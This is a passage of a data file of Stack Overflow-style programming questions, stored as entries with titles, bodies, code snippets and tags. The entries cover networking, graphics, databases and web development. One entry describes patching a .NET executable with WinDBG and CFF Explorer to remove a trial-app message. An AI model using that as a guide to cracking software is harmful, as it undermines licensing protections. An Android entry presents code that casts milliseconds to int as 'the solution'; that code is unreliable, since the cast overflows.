child(2):hover\n", "html css css3 css-selectors"], "3441982": ["What changes needed
to support IPv6", "What changes website needed to support IPv6 and IPv4?\nAlso
using socket service in java what changes i require to accept both type of
connection ?\nEnvironment\nOS - Linux \nWebserver - Tomcat 5.5\n", "", "java linux
tomcat ipv6 ipv4"], "2308753": ["Social sharing buttons invalidate XHTML", "I've
written valid Code. I want to add social sharing buttons (twitter, facebook and
google+), but all of these buttons invalidate my code. Is there any solution
available? \n", "XHTML 1.0 Transitional", "xhtml social-networking validation"],
"1912375": ["Restrict number of threads in parallel foreach in Windows workflow
foundation 4.0", "I have WF in which I am using parallel foreach to enumerate
through a list of items and do some Processing on each item. The requirement is to
run the parallel foreach infinitely until the user intervenes and stops the
process. However when there are more than 20 items, I see multiple threads are spun
off and the CPU usage will spike to 99 percentages and eventually the entire system
slows down to respond. How can I limit the number of threads that can be created in
parallel foreach of WWF. Is there any property that I can set? Any help is highly
appreciated. \n", "", "workflow-foundation-4"], "616472": ["How do you justify
Refactoring work to your penny-pinching boss?", "You've just written a pile of code
to deliver some important feature under pressure. You've cut a few corners, you've
mashed some code into some over-bloated classes with names like
SerialIndirectionShutoffManager..\nYou tell your boss you're going to need a week
to clean this stuff up.\n\"Clean what up?\"\n\"My code - its a pigsty!\"\n\"You
mean there's some more bug fixing?\"\n\"Not really, its more like..\"\n\"You're
gonna make it run faster?\"\n\"Perhaps, buts thats not..\"\n\"Then you should have
written it properly when you had the chance. Now I'm glad you're here, yeah, I'm
gonna have to go ahead and ask you to come in this weekend.. \"\nI've read Matin
Fowler's book, but I'm not sure I agree with his advice on this matter:\n\
nEncourage regular code reviews, so refactoring work is encouraged as a natural
part of the development process. \nJust don't tell, you're the developer and its
part of your duty. \n\nBoth these methods squirm out of the need to communicate
with your manager.\nWhat do you tell your boss?\n", "", "refactoring"], "5059836":
["OpenGL ES 2.0 (specifically for the iphone) rendering is slightly off. Best guess
is it's a projection matrix problem", "So I bought O'reilly's Iphone 3D programming
and found what I believe to be a bug in there code. However I can't figure out what
the problem is, and unless I do I can't move forward with my own code.\nI will
paste what I consider to be the appropriate code into this post but luckily all the
code is available online at:\nhttp://examples.oreilly.com/9780596804831/HelloCone/\
nThe problem I am having is with their OpenGL ES 2.0 renderer, it does not show up
in their ES 1.1 renderer. \nSo what I have been noticing is that the cone does not
render exactly in the correct position. To test this I changed the ModelViewMatrix
to render exactly on the FrustumNear plane. So the cone should appear cut
completely in two. When I do this with the ES 1.1 render this is the case, when I
do the same in OpenGL ES 2.0 however
it is not. The cone is for the most part there, but slightly shaved off. Meaning
it is not landing exactly on the fustrum's near face.\nHere is the initialization
code where the projection matrix is created and set up:\n\nAnd here is the Render
code. As you can see I have changed the ModelVieMatrix to place the cone on the
bottom left corner of the near Frustum face.\n\nmat4
rotation(m_animation.Current.ToMatrix());\n mat4 translation = mat4::Translate(-
1.6, -2.4, -5);\n\n", "void RenderingEngine2::Initialize(int width, int height)\n{\
nconst float coneRadius = 0.5f;\nconst float coneHeight = 1.0f;\nconst int
coneSlices = 40;\n\n{\n // Allocate space for the cone vertices.\n
m_cone.resize((coneSlices + 1) * 2);\n\n // Initialize the vertices of the
triangle strip.\n vector<Vertex>::iterator vertex = m_cone.begin();\n const
float dtheta = TwoPi / coneSlices;\n for (float theta = 0; vertex !=
m_cone.end(); theta += dtheta) {\n\n // Grayscale gradient\n float
brightness = abs(sin(theta));\n vec4 color(brightness, brightness,
brightness, 1);\n\n // Apex vertex\n vertex->Position = vec3(0, 1,
0);\n vertex->Color = color;\n vertex++;\n\n // Rim vertex\n
vertex->Position.x = coneRadius * cos(theta);\n vertex->Position.y = 1 -
coneHeight;\n vertex->Position.z = coneRadius * sin(theta);\n vertex-
>Color = color;\n vertex++;\n }\n}\n\n{\n // Allocate space for the
disk vertices.\n m_disk.resize(coneSlices + 2);\n\n // Initialize the center
vertex of the triangle fan.\n vector<Vertex>::iterator vertex = m_disk.begin();\
n vertex->Color = vec4(0.75, 0.75, 0.75, 1);\n vertex->Position.x = 0;\n
vertex->Position.y = 1 - coneHeight;\n vertex->Position.z = 0;\n vertex++;\n\
n // Initialize the rim vertices of the triangle fan.\n const float dtheta =
TwoPi / coneSlices;\n for (float theta = 0; vertex != m_disk.end(); theta +=
dtheta) {\n vertex->Color = vec4(0.75, 0.75, 0.75, 1);\n vertex-
>Position.x = coneRadius * cos(theta);\n vertex->Position.y = 1 -
coneHeight;\n vertex->Position.z = coneRadius * sin(theta);\n vertex+
+;\n }\n}\n\n// Create the depth buffer.\nglGenRenderbuffers(1,
&m_depthRenderbuffer);\nglBindRenderbuffer(GL_RENDERBUFFER, m_depthRenderbuffer);\
nglRenderbufferStorage(GL_RENDERBUFFER,\n
GL_DEPTH_COMPONENT16,\n width,\n
height);\n\n// Create the framebuffer object; attach the depth and color buffers.\
nglGenFramebuffers(1, &m_framebuffer);\nglBindFramebuffer(GL_FRAMEBUFFER,
m_framebuffer);\nglFramebufferRenderbuffer(GL_FRAMEBUFFER,\n
GL_COLOR_ATTACHMENT0,\n GL_RENDERBUFFER,\n
m_colorRenderbuffer);\nglFramebufferRenderbuffer(GL_FRAMEBUFFER,\n
GL_DEPTH_ATTACHMENT,\n GL_RENDERBUFFER,\n
m_depthRenderbuffer);\n\n// Bind the color buffer for rendering.\
nglBindRenderbuffer(GL_RENDERBUFFER, m_colorRenderbuffer);\n\n// Set up some GL
state.\nglViewport(0, 0, width, height);\nglEnable(GL_DEPTH_TEST);\n\n// Build the
GLSL program.\nm_simpleProgram = BuildProgram(SimpleVertexShader,
SimpleFragmentShader);\nglUseProgram(m_simpleProgram);\n\n// Set the projection
matrix.\nGLint projectionUniform =
glGetUniformLocation(m_simpleProgram, \"Projection\");\nmat4 projectionMatrix =
mat4::Frustum(-1.6f, 1.6, -2.4, 2.4, 5, 10);\nglUniformMatrix4fv(projectionUniform,
1, 0, projectionMatrix.Pointer());\n}\n", "iphone opengl-es projection-matrix"],
"2730660": ["percentage formula in crystal report 8.5", "I am doing one project
using vb6.0+access+crystal report8.5\nsome error occur during the crystal report.\
nQuery Name\nseqquery:\n\ncrystal report percentage formula:\n\nError: This field
name is not known.\nnote: Total_value and Target field's datatype \"Text\"\nhow to
solve this ?\n", "SELECT segment_trans.division_name,
sum(segment_trans.Total_value) AS total, \n division_master.Target\nFROM
segment_trans, division_master\nGROUP BY segment_trans.division_name,
division_master.Target;\n", "vba"], "4918823": ["Hibernate creates more than one
query from hql query", "I am having a strange effect that hibernate fires more than
one query when executing a specific hql query. At moment i use hsqldb 1.8 for
development.\n\nConsole Output:\n\nI wanted to select all PointOfInterestLabel to
the given figure. So a join over two tables should be sufficient. \nFigure:\n\
nPointOfInterest:\n\nPointOfInterestLabel:\n\nSo what am i doing wrong? I just want
a join to get all PointOfInterestLabel to a given figure.\ngreetings\nm\n",
"@NamedQuery(name=PointOfInterestLabel.FIND_BY_FIGURE, query=\"Select pl FROM
PointOfInterestLabel pl INNER JOIN pl.poi p WHERE p.figure = :figure\")\n", "java
hibernate jpa-2.0"], "706070": ["Where can I look to see why Paperclip is failing
silently in Rails 3?", "I have followed the simple example here.\nI have performed
the generation, run the migration, added the code to my model and view, and
restarted the application.\nThis is on a company edit screen, where the user can
upload a logo.\nRunning Rails 3.0.3 in dev mode. The only thing even close to
Paperclip that I see in the log is:\n\nI was under the impression that Paperclip
was pretty easy to use, but I can't seem to even locate an error message. Can
anyone help?\n", "Started GET \"/logos/original/missing.png\" for 127.0.0.1 at Tue
Dec 14 15:27:42 -0500 2010\n\nActionController::RoutingError (No route matches
\"/logos/original/missing.png\"):\n", "paperclip ruby-on-rails-3"], "2821972":
["Emulate index method with generator", "The function in Python 3 allows us to
return elements from an that match some arbitrary criteria defined in a filter
function. I'd like to be able to do something similar, except instead of returning
elements which satisfy the criteria, I'd like to return the index of the elements.
(similar to the method for objects)\n\nOf course, I realize in this trivial
example I could just say:\n\nBut the point is, I want to be able to get an index
using arbitrary filter functions and arbitrary Iterables (not just lists!)\nIs
there a convenient way to do this without handrolling a function?\n", "filter",
"python filter python-3.x"], "1806566": ["Get Class object from another Class JNI",
"Java code:\n\nHow you can see I have and in it. Now from my JNI code I want to
get and call it's constructor. In JNI I have object.\nWhat must I do to get
object from and call functions or set members?\n", "public class ParentClass\n{\n
class ChildClass\n {\n public String strUrl; \n\n /**\n
* Standard Constructor.\n */\n public ChildClass( )\n {\n
strUrl = \"\";\n {\n }\n\n // Some code goes here ....\n}\n", "android
c++ c class jni"], "3483042": ["Encrypting multiple elements of one xml document",
"I managed encrypting an xml document by encrypting an element and then replacing
the element with the encrypted data. A shown in the sample code below.\n\nThis
results in an xml where the element has EncryptedData, holding the X509
Certificate, like (I removed the bulk data):\n\nIf I encrypt 2 of those elements,
the same X509 Certificate is included twice. \nDoes anybody know of a solution
where the cerificate is for instance referenced?\nThanks,\nBert Heesbeen\n",
"Public Shared Sub Encrypt(ByVal textReader As TextReader, ByVal textWriter As
TextWriter, ByVal certificateName As String)\n Dim xmlDoc As New XmlDocument()\n
xmlDoc.Load(textReader)\n ' Add the schema from Resources\n
AddSchema(xmlDoc)\n ' Get all elements to encrypt\n Dim elementsToEncrypt As
List(Of XmlElement) = FindElementsToEncrypt(xmlDoc.DocumentElement)\n\n ' Get
the certificate\n Dim certificate As X509Certificate2 =
FindTrustedCertificate(certificateName)\n If certificate Is Nothing Then\n
Throw New ArgumentException(String.Format(\"Certificate {0} not found\",
certificateName), \"certificateName\")\n End If\n\n Dim xmlEncrypter As New
EncryptedXml(xmlDoc)\n\n ' Itterate all elelemts to encrypt\n For Each
elementToEncrypt As XmlElement In elementsToEncrypt\n ' Encrypt the elements
with the given certificate\n Dim encryptedData As EncryptedData =
xmlEncrypter.Encrypt(elementToEncrypt, certificate)\n
EncryptedXml.ReplaceElement(elementToEncrypt, encryptedData, False)\n Next\n\n
' Return the encrypted XmlDocument\n xmlDoc.Save(textWriter)\nEnd Sub\n", ".net
xml vb.net encryption"], "971306": ["How to achieve continuous integration in
Perforce?", "We use Perforce to manage our Software Configuration. \nMy question
is how to achieve continuous integration in Perforce?\nAre there any tools built on
top of Perforce to run continuous integration?\n", "", "continuous-integration
perforce"], "156896": ["Resource interpreted as image but transferred with MIME
type image/pjpeg", "I am getting the following error when I open one of my pages in
Chrome:\n\nResource interpreted as Image but transferred with MIME type \n\nThe
image on the page is pulled from my database like this:\n\nAnd I am already
changing the content type to from code before writing on the page.\nCan somebody
help me how to fix this?\n", "image/pjpeg", "c# iis google-chrome mime-types"],
"5012143": ["Showing a vertical tangent exists at a given function.", "I want to
apologise in advance for not having this in latex or some sort of neat code, I
would be more than happy to learn how though.\nAnyway, for the function $y=4(x-
1)^{2/5}$ I see there appears to be a vertical tangent at $x=1$, but how can I know
for certain the vertical tangent exists at $x=1$? Would I just solve for $f'(x)$,
letting
$x=1$? But what would that tell me?\nThanks. \n", "", "calculus"], "616473":
["Generalized Eigen Values and Vectors in Eigen Library", "How do I find
generalized Eigen Values, Vectors using Eigen3 library?\nIn octave, matlab, the
eigen value function is of the form: .\nI could only find this Class in Eigen3 lib
but was not helpful in validating the results from above matlab/octave code.\n",
"[V, lambda] = eig (A, B)", "linear-algebra eigen eigenvector"], "835560": ["How is
a SSL certificate validated?", "Is it only controlled locally via hashsum or does
the browser contact the webserver of the CA to verify the certificate?\n", "", "ssl
certificate validation"], "2467941": ["Queries within queries counting rows to make
a score based on categories chosen", "Is there a way this hand coded query could
become dynamic?\n\nI know this syntax is incorrect.\nThe effect I want is depending
on a users chosen categories, I want to find a record. Each record is scored in
another table.\nI want to be able to repeat the queries in brackets as many times
as there are categories found in another database based on another id:\n\nSo if I
passed '1' to the query above I'd like it to repeat the query in brackets for the
result categories 1,2 and 3 (so three queries resulting in three scores adding up
to an overall total).\nI have tried to ask this question before, but I think I over
complicated things!\nUPDATE:\nI have just made this query - and I think it works.
Anyone see any obvious mistakes?\n\nThe value 2 will be dynamically created in the
query in Perl (it will be the ID of the current user).\nI have two VIEWS\n\nAnd
three tables:\ntable users:\n\ntable scores:\n\ntable prefs\n\n\"think\" that's
it....\n", "SELECT master.id,\n(select count(0) as score1 from scores where
scores.id = master.id AND scores.category = '1'),\n(select count(0) as score2 from
scores where scores.id = master.id AND scores.category = '2'),\n(select count(0) as
score3 from scores where scores.id = master.id AND scores.category = '3'),\
n( repeat for as many categories chosen by the current user )\nscore1+score2+score3
AS score FROM master ORDER BY score DESC LIMIT 1\n", "sql mysql"], "2822918":
["website to install applications directly to the system", "is it possible to have
websites installing applications (games and softwares) directly onto the system?
the webpage may copy the required installation files from the server onto the
specified destination on the system and also be give access to the systems registry
so as to modify it. there'll be no need to download the setup files for
applications in that way. they can even be given access to modify the file system
of hardware devices.\n", "", "application website system"], "2102606":
["Conditional Statement - check if post has an attachment image", "I'm working on a
conditional statement (in a loop) that looks for a featured image then grabs a
default image if there is none, which I have figured out. But, I also wanted a way
to pull the first image (or any image) attachment before going the route of the
default image. Having trouble finding the right way to check for an attachment
image, then display it.\nI have added a specific thumbnail size, \"featured-
thumbs\" in the functions.php file of my theme. It would be great if I could
utilize this when displaying the attachment image.\nHere's what I have so far:\n\
nThanks very much.\n", "<?php $count=0; if ( have_posts() ) : while
( have_posts() ) : the_post(); ?>\n\n <div class=\"span-9
subfeature append-bottom <?php if(++$count%2==0) echo 'last'?>\">
\n\n <?php $thumb = get_the_post_thumbnail(); //Hack for Sitewide Tags
Thumbnail process: assigns variable for use in conditional statement below ?>\n\n
<?php if (has_post_thumbnail()) { \n\n
the_post_thumbnail('thumbnail');\n\n } else\n\n if
( $thumb ) { //if not checks to see if there's a Sitewide Tags created thumbnail
and uses that if there is\n\n the_post_thumbnail();\n\n }
else { \n\n echo '<img
src=\"'.get_bloginfo(\"stylesheet_directory\").'/images/maintenance/fallback-
thumb.jpg\" >';\n }\n\n\n ?> \n", "php
attachments conditional-content image-resize"], "5588026": ["How does Django
determine whether my database supports transactions?", "On my development machine I
can use and , but on my production machine the decorators are ignored and Django
behaves as if my database doesn't support transactions. This happens both in my
view functions and in trivial test functions I write in the Django shell:\n\nThe
same thing happens if I instantiate model objects and then call on them rather
than just calling on the manager. fails in the same way. In sum, it appears
that is stuck in the on position.\nBut only on the production machine. Everything
works fine on my MacBook Pro.\nBoth environments are using MySQL with all tables
running on InnoDB. Django 1.4.3, Python 2.6.6.\nI would appreciate any thoughts
about what I might be doing wrong in settings.py, in my MySQL configuration, or
anywhere else -- I am banging my head against the wall and am open to any
suggestion at all.\n", "transaction.commit_on_success", "mysql django transactions
innodb"], "1031479": ["qt widget for scrolled window enabling to port ouput of
terminal", "I am new to Qt and was wondering if there was a widget which could
enable one to port the output of the terminal to a scrolled window like widget.
Basically I am wanting it to use it in a plasmoid. can somebody help?\n", "", "qt
widget output"], "23034": ["Problem with modifying ccDrawCircle", "So I tried
making another method called ccDrawFilledCircle (because I need a filled circle).
And what I did was what the first answer said to do in this question: How to draw a
solid circle with cocos2d. I copied ccDrawCircle changed its name to
ccDrawFilledCircle and replaced the line it said to replace. But, I get the error:\
n\nExpected ')' before numeric constant\n\nand\n\nTo few arguements to the function
'glDrawArrays'.\n\nAt the line I replaced.\nHere is my modified function for
reference:\n\nCan anyone help me figure out the problem?\n", "void
ccDrawFilledCircle( CGPoint center, float r, float a, int segs, BOOL
drawLineToCenter)\n{\n int additionalSegment = 1;\n if (drawLineToCenter)\n
additionalSegment++;\n\n const float coef = 2.0f * (float)M_PI/segs;\n\n
float *vertices = malloc( sizeof(float)*2*(segs+2));\n if( ! vertices )\n
return;\n\n memset( vertices,0, sizeof(float)*2*(segs+2));\n\n for(int
i=0;i<=segs;i++)\n {\n float rads = i*coef;\n float j = r *
cosf(rads + a) + center.x;\n float k = r * sinf(rads + a) + center.y;\n\n
vertices[i*2] = j;\n vertices[i*2+1] =k;\n }\n vertices[(segs+1)*2] =
center.x;\n vertices[(segs+1)*2+1] = center.y;\n\n // Default GL states:
GL_TEXTURE_2D, GL_VERTEX_ARRAY, GL_COLOR_ARRAY, GL_TEXTURE_COORD_ARRAY\n //
Needed states: GL_VERTEX_ARRAY, \n // Unneeded states: GL_TEXTURE_2D,
GL_TEXTURE_COORD_ARRAY, GL_COLOR_ARRAY \n glDisable(GL_TEXTURE_2D);\n
glDisableClientState(GL_TEXTURE_COORD_ARRAY);\n
glDisableClientState(GL_COLOR_ARRAY);\n\n glVertexPointer(2, GL_FLOAT, 0,
vertices); \n glDrawArrays(GL_TRIANGLE_FAN 0, segs+additionalSegment); //Error
here.\n\n // restore default state\n glEnableClientState(GL_COLOR_ARRAY);\n
glEnableClientState(GL_TEXTURE_COORD_ARRAY);\n glEnable(GL_TEXTURE_2D); \n\n
free( vertices );\n}\n", "iphone cocos2d"], "1531148": ["Site not getting correct
featured image from my query", "On the home page of my site I have a series of
tiles that link to various parts of the site. One tile links to the blog and I have
written some code to pull the latest post with an image attached to it and output
it along with the post title. Here is the code from the theme file:\n\nI realise
that this code doesn't in fact get the featured image but instead gets 1 image that
is attached to a post. This is because the blog posters sometimes forgot to \"set
as featured image\" but any pic uploaded to the post was attached automatically.\
nWith 3.5 it now seems that featured images are not necessarily attached to the
posts so will be missed by the above code. What's the best approach to solve this?
Perhaps by only calling the latest featured image... I can just make sure post
writers add a featured image to their posts.\nThe site is http://sergedenimes.com\
nEDIT: Here is my renewed code:\n\nWhat I want to make sure is that say I posted a
new post but didn't give it a featured image, would the above query just ignore it
and output the last post that does have a featured image? I'm hoping that the
arguement should do this. If I am wrong I would expect that no url of the
attachment would be got and the tile on the home page would just be blank (no
image).\n", "$z=0; //sets post counter\nquery_posts(array( 'meta_key' =>
'_thumbnail_id' )); ?>\n<?php if(have_posts()) : ?>\n<?php while(have_posts() &&
$z<1) : the_post(); \n\n\n//Call a post image attachment\n $args =
array( 'post_type' => 'attachment', 'numberposts' => 1, 'post_status' => null,
'post_parent' => $post->ID ); \n $attachments = get_posts($args);\n\n if
($attachments) {\n\n foreach ( $attachments as $attachment ) {\n
$image = wp_get_attachment_image_src($attachment->ID,'homethumbs'); \n?>\n<a
href=\"<?php echo get_posts_page_url(); ?>\" title=\"Visit the Serge Blog\"
id=\"homelink3\" class=\"top_homelink\"><img src=\"<?php echo $image[0]; ?>\"
width=\"308\" height=\"308\" id=\"home-blogthumb\" class=\"side-homethumb wp-post-
image\" /> <p class=\"home_text\">Blog<br/><span
class=\"home_thumb_caption\">Latest Post: <?php the_title();
?></span></p> </a>\n<?php $z++;\n}\n//$usedthumbnails[] =
get_the_post_thumbnail(); \n}\n?>\n<?php \nendwhile; \nendif; \nwp_reset_query();
?>\n", "wp-query post-thumbnails media"], "2165818": ["Can a downloaded zip file be
opened, without saving it as a file first?", "I am downloading a zip file using the
zend httpClient, and getting the contents of the file assigned to a variable as
such:\n\n has the contents of a zip file, can it be opened without saving it as a
file first, using http://php.net/manual/en/class.ziparchive.php or some other 5.2
native class?\nEDIT The suggestions gave some good ideas how it may be doable
without making a temporary file, but due to the fact I'll need to be using the
proxy adapter already, going to the lengths of creating an own adapter for the
purpose of this, just isn't worth it.\nI ended up using the tmpname to create a tmp
file (which was something I wanted to avoid, but ended up here anyway).\n\n",
"$body = $response->getBody();\n", "php zend-framework zip"], "4663778": ["how to
locate linux machine by hostname not ip address", "I just got a SheevaPlug and
installed subversion on it. It gets its IP address using DHCP so it can change from
time to time. I would like to be able to connect (from Windows XP and Windows 7
machines) to it using its host name as opposed to by IP address. Is that possible
to give it a name like \"sheeva\" and then just connect using that name?\n", "",
"linux hostname lookup"], "2716157": ["zombie logging enable", "\nPossible
Duplicate:\nHow to use NSzombie in xcode? \n\ni have problem of crashing in my app
but i don't have exactly reason to crash. when i search the problem i find about
Zombie logging. but i don't know hoe to use or how to enable..\n", "", "iphone
objective-c"], "1294896": ["\"Can't find PInvoke DLL 'sqlceme35.dll\"", "I recently
installed the new Windows Mobile 6.5.3 SDK upgrading my old Windows Mobile 6
project.\nI'm getting an error: \"Can't find PInvoke DLL 'sqlceme35.dll\" when I
try to invoke SQL libraries (this is managed code obviously).\nAny ideas how to fix
this issue?\n", "", "c# windows-mobile compact-framework sql-server-ce"],
"1723237": ["How to get wordpress nav menu outside of wordpress system?", "I want
to get a specific wordpress nav menu as a list in my custom php page outside of
wordpress.\nHow to do that?\n", "", "menus integration"], "1848876": ["How to add
description for MBean method to see it in jmx-console of JBOSS", "I'm using JBoss
4.3.2.GA\nI've added method to my MBean service. Method has several arguments in
signature. It works fine but I want more. \nProblem: when I see method signature in
jmx-console, I don't know what every of this input fields means, because jmx-
console doesn't show arguments names, only input fields for values.\nIs there
ability add description of every argument (in Java code, not xml) allowing to show
this description in jmx-console of JBOSS?\nI've tried to use Spring annotation: to
add at least method description but no results (description is not showed in jmx-
console).\nMay be some one have resolved such issue...\n", "@ManagedOperation",
"java jboss jmx"], "3129797": ["How to keep track of selections from UIPickerView
in UITextView?", "I have this project with a UITextView that is to show my
selections from a UIPickerView. I already can show the selection, but when I pick
another selection it overwrites the previous one and I need to keep track of all
selections I make.\nHere is my code:\n\nAnyone could help??? Thanks\n", "NSString
*msg = [NSString stringWithFormat: @\"Voc\u00ea comprou %@ %@ e pagar\u00e1 R$
%.2f.\",\n [quantidade objectAtIndex:[pickerView
selectedRowInComponent:1]],\n [produtos objectAtIndex:[pickerView
selectedRowInComponent:0]], total];\n\n\ntexto.text = msg;\n", "objective-c ios5
uitextview uipickerview"], "5131907": ["Where is the method call in the EXE file?",
"Introduction\nAfter watching this video from LIDNUG, about .NET code protection
http://secureteam.net/lidnug_recording/Untitled.swf (especially from 46:30 to
57:30), I would to locate the call to a MessageBox.Show in an EXE I created.\nThe
only logic in my \"TrialApp.exe\" is:\n\nCompiled on the Release configuration:
http://rapidshare.com/files/392503054/TrialApp.exe.html\nWhat I do to locate the
call\nRun the application in WinDBG and break after the message box appears.\nGet
the CLR stack with :\n\nGet the MethodDesc structure (using the address of
Form1_Load) \n\nDump the IL of this method (by MethodDesc) \n\nSo, as the video
mentioned, the call to to is 5 bytes from the beginning of the method
implementation.\nNow I open CFFExplorer (just like in the video) and get the RVA of
the Form1_Load method: .\nAfter this, I go to Address Converter (again in CFF
Explorer) and navigate to offset . There we have:\n\nIn the video is mentioned that
the first 12 bytes are for the method header so I skip them\n\n5 bytes from the
beginning of the implementation should be the opcode for method call (28).
Unfortunately, is not there. \n\nQuestions:\n\nWhat am I doing wrong? \nWhy there
is no method call at that position in the file? Or maybe the video is missing some
information...\nWhy the guy in that video replaces the call with 9 zeros?\n\n",
"public partial class Form1 : Form\n{\n public Form1()\n {\n
InitializeComponent();\n }\n\n private void Form1_Load(object sender,
EventArgs e)\n {\n MessageBox.Show(\"This is trial app\");\n }\n}\n",
"c# clr windbg opcode cracking"], "2197519": ["Malloc allocates memory more than
RAM", "I just executed a program that mallocs 13 MB in a 12 MB machine (QEMU
Emulated!) . Not just that, i even browsed through the memory and filled junk in
it... \n\nHow is it possible ? I was expecting a segmentation fault.\n", "void \
nlarge_mem(void) \n{\n #define LONGMEM 13631488\n long long *ptr = (long long
*)malloc(LONGMEM);\n long long i;\n if(!ptr) {\n printf(\"%s(): array
allocation of size %lld failed.\\n\",__func__,LONGMEM);\n ASSERT(0);\n }\n
for(i = 0 ; i < LONGMEM ; i++ ) { \n *(ptr+i)=i;\n }\n free(ptr);\n}\n", "c++
c memory-management malloc"], "1154472": ["Sessions variables NULL sometimes,
othertimes not", "I have code that creates a session variables for a user on one
page. Before the data is entered in the database they go to PayPal to checkout and
come back to the site. When they come back those session variables created for the
user sometimes remain and sometimes return as NULL. \nUser enters their information
creates session variables -> Go to PayPal, checkout -> Come back to the site,
session variables are sometimes retained going into the database, sometimes not\nI
cannot figure out for the life of my why it does it sometimes and not other times.
Is there something about sessions that I am missing? Any ideas?\n", "", "php
session-variables"], "1203449": ["SVN: Get diff for files that do not exist in
those revisions (added or deleted)", "I have a small problem with svn diff. I
really have to use this line:\n\nThis works perfect for cases file.ext exists in
both revisions. \nThe problem is when it does not - i get the message: \n\nUnable
to find repository location for file.ext in X revision\n\nInstead of that I would
like to get a diff string like they all the lines were added/deleted (something
like i would get with mercurial diff)...\nIs there any way to perform that in SVN?
Thank you all in advance!\n", "svn diff -r X:Y path/to/file.ext\n", "svn version-
control diff"], "27491": ["object required error 800A01A8", "i got stuck with
microsoft vbscript run time error 800A01A8\nit says object required:
'a.Document.getElementById(...)'\nin web page 10.188.102.115 there is link called
COUNTER i want to click on that \nPlease help me thanks in advance. below is my
code\n\n", "enter code here Set a = CreateObject(\"InternetExplorer.Application\")
a.visible = True a.Navigate\"10.188.102.115\" wscript.sleep 7000
a.Document.getElementById(\"COUNTER-anchor\").click \n", "vbscript"], "1245361":
["PC does not get ip address from router using wired connection", "I have an ASUS
WL-520GU wireless router with four LAN ports. \nWhen my laptop is running Windows
7, and I make a wired connection from the laptop to the router, the laptop does not
get an IP address. The network and sharing center calls it a \"Public Network\"
with \"Limited Access\" and when clicking 'status' it says that there is no ip
address for IPv4 nor IPv6. \nHowever, the following things do work with the same
router:\n\nMaking a WiFi connection from same laptop with same OS\nmaking a wired
connection from same laptop running Ubuntu\nmaking a wired connection from a
different PC running Windows PC *\n\nI have repeated the experiment several times:
reset router to factory settings, connect no other device with lan nor wan, connect
laptop in question, get no IP address. \nEdit\nI have just realized that the
behavior is not as regular and predictable as I first thought. It seems that the
router has problems in general with DHCP. I have tried, within the last few days,
without any restarts of the router, that one laptop said upon login that the IP was
already used by another PC. \nAfter posting this is what happened:\n\nSuddenly the
laptop was not even able to get an ip over WiFi\nI restarted the laptop and reset
the router to factory settings\nI connected to router over WiFi and got an IP\nI
disconnected WiFi connection, connected wired, and got IP address\nI disconnected
wired connection and reset the router to factory settings\nI was not able to get an
IP with neither wired nor wifi. I tried several times. \nSuddenly (without restart
or reset) when both WiFi and Wired connection was established I got an IP
address. \nI restarted the router but now I kept getting IP addresses successfully
with both wired and WiFi,
ie could not provoke the problem. \n\nIn short, I can't really see a pattern in
this behavior. \n", "", "windows-7 dhcp"], "5992741": ["typesetting of negative
versus minus", "I've occasionally seen a negative (when a number is simply
negative, not a subtraction), typeset as negative sign that's slightly skinnier and
above the centre line of text. Is this proper notation for mathematics and how
would one go about typesetting this in latex? \nEdit\nI believe that calculators
were what happened to give me this idea, couldn't find it in any of my math books.
Thank you all for the help, it's much appreciated. \n\nThank you 'Antal S-Z' for
the photo link.\nHowever, the question remains, how exactly would I typeset this?\
n", "", "math-mode symbols"], "4481764": ["How to overload unary minus operator in
C++?", "I'm implementing vector class and I need to get an opposite of some vector.
Is it possible to define this method using operator overloading?\nHere's what I
mean:\n\nHere's what I want this operator to accomplish:\n\nThanks.\n", "Vector2f
vector1 = -vector2;\n", "c++ operator-overloading"], "4818409": ["Google Analytics
Regex - Alternative to no negative lookahead", "Google Analytics does not allow
negative lookahead anymore within its filters. This is proving to be very difficult
to create a custom report only including the links I would like it to include.\nThe
regex that includes negative lookahead that would work if it was enabled is:\n\
nThis matches:\n\nand does not match (as it should):\n\nI am looking to find out
how to adapt my regex to still hold the same matches but without the use of
negative lookahead.\nThank you!\n", "test.com(\\/\\??index\\_(.*)\\.php\\??
(.*)|\\/\\?(.*)|\\/|)+(\\s)*(?!.)\n", "regex google-analytics"], "2789374":
["Android Get Current timestamp?", "I want to get the current timestamp like that :
1320917972\n\nthanks for your help\n\nThe solution is :\n\nThanks for your help\n",
"int time = (int) (System.currentTimeMillis());\nTimestamp tsTemp = new
Timestamp(time);\nString ts = tsTemp.toString();\n", "android timestamp"],
"2214949": ["SSIS Conditional Split - multiple conditions", "I am trying to check
if any of the column has changed. I have tried put all in on condition:\n\nbut this
is always returning although I have manually changed Taxes. If I put each
condition separately than it works, for example:\n\nreturns . If I use 6 conditions
(instead of 1) for each column and output results into Union All is this method
giving me what I need? My biggest concern is if rows will be duplicated. I have
checked and looks like they are not but I wonder why some condition picks X records
and another Y when I have changed both columns (related to these two conditions).
For example, all Taxes and Premium columns are changed. In Conditional Split output
\"Taxes have changed\" condition picks 1,000,000 rows, \"Premium has changed\"
picks 100 rows. I know that this doesn't make any difference in my case because for
me it's important that these rows are picked up for update but I am just confused
about how this thing works.\n", "Taxes != (ISNULL(LookupTaxes) ? 0 : LookupTaxes)
|| Checksum != (ISNULL(LookupChecksum) ? 0 : LookupChecksum) || FeeIncome !=
(ISNULL(LookupFeeIncome) ? 0 : LookupFeeIncome) || CommissionReceived !=
(ISNULL(LookupCommissionReceived) ? 0 : LookupCommissionReceived) || CommissionPaid
!= (ISNULL(LookupCommissionPaid) ? 0 : LookupCommissionPaid) || Premium !=
(ISNULL(LookupPremium) ? 0 : LookupPremium)\n", "ssis split conditional multiple
condition"], "3255331": ["Rails, Passenger and Memcached: Unable to find server
during initialization", "I hope someone can help me with a problem that I am
certain is a user error.\nThe configuration details below work in all my other
environments including integration, development and qa. However, the production
servers give the following error:\n\nWhen I telnet to the memcached box from the
server having the problem and run 'stats', I get:\n\nBelow are the configuration
details and stacktrace.\nconfig/environment.rb (the important
parts):\n\nconfig/environments/production.rb:\n\nStacktrace:\n\n",
"<ActionController::Session::MemCacheStore:0x2b45f6acb248> unable to find server
during initialization.\n", "ruby-on-rails memcached passenger"], "2720107":
["Implement an internal abstract member", "An abstract class, in this case
System.Reflection.MethodBase, is requiring the implementation of the entire
interface, which is fine. But it has this abstract member:\n\nand the F# compiler
complains:\n\nNo implementation was given for
'MethodBase.GetParametersInternal() :\n ParameterInfo[]'\n\nHow can I implement
this internal member, which I don't have access to? Or just ignore this and
